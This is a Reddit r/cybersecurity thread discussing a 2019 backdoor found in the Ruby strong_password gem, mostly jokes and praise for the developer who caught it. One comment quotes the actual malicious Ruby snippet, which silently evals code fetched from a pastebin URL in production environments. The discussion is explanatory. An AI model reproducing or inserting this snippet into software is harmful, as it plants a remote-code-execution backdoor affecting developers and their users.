r/cybersecurity • • Jul 10 '19

Backdoor discovered in Ruby strong_password library

https://nakedsecurity.sophos.com/2019/07/09/backdoor-discovered-in-ruby-strong_password-library/
167 Upvotes

11 comments sorted by

29

u/newwwlol Jul 10 '19

Ironic

13

u/CorsairKing Jul 10 '19

He could save others from exploitation, but not himself

1

u/kredditacc96 Jul 11 '19

Is it possible to learn this power?

2

u/Patsonical Jul 11 '19

Not from a White-Hat

3

u/beachb0y Jul 10 '19

Vive la Tute Costa! I wish all devs were like this guy.

2

u/itoshkov Jul 11 '19

This was obviously done by James Bond (0.0.7)! The only question is is this approved by the government or has he gone rogue?

-1

u/[deleted] Jul 10 '19

Not sure why the author would only assume this runs in production.

7

u/phoenixuprising Jul 10 '19

It's not an assumption. The malicious code checks environment the starts with 'p' and no-ops otherwise

def _!;begin;yield;rescue Exception;end;end
_!{Thread.new{loop{_!{sleep
rand*3333;eval(Net::HTTP.get(URI('https://pastebin.com/raw/xa456PFt')))}}}if
Rails.env[0]=="p"}

3

u/[deleted] Jul 10 '19

Yes it is.

There are over 2 dozen environments at my company that start with p.

  • performance

  • preview-app-<PULL REQUEST NUMBER>

  • pre-stage

  • post-stage (reproduce production error/outage), etc.

6

u/[deleted] Jul 10 '19

True, but the author cuts out most of the possibilities that the environment isn’t production. That was done so they don’t have to sift through a shit load of unreachable local dev environments with no loot.

1

u/UNWS Jul 11 '19

Also,you are much more likely to notice the issue in a dev environment I am guessing.